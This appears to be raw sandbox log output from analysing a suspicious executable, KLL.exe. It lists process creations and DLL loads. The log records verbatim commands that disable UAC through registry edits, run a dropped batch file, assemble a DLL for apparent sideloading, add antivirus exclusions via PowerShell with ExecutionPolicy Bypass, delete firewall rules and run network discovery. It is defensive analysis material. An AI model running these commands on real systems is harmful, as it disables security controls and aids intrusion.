Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe "C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe"
Source: unknown	Process created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "000000000000014C" "208" "c:\program files (x86)\letsvpn\driver"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
Source: unknown	Process created: C:\Windows\System32\wbem\WmiApSrv.exe C:\Windows\system32\wbem\WmiApSrv.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: unknown	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Source: unknown	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat"	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe "C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe"	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "000000000000014C" "208" "c:\program files (x86)\letsvpn\driver"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: C:\Users\user\Desktop\KLL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
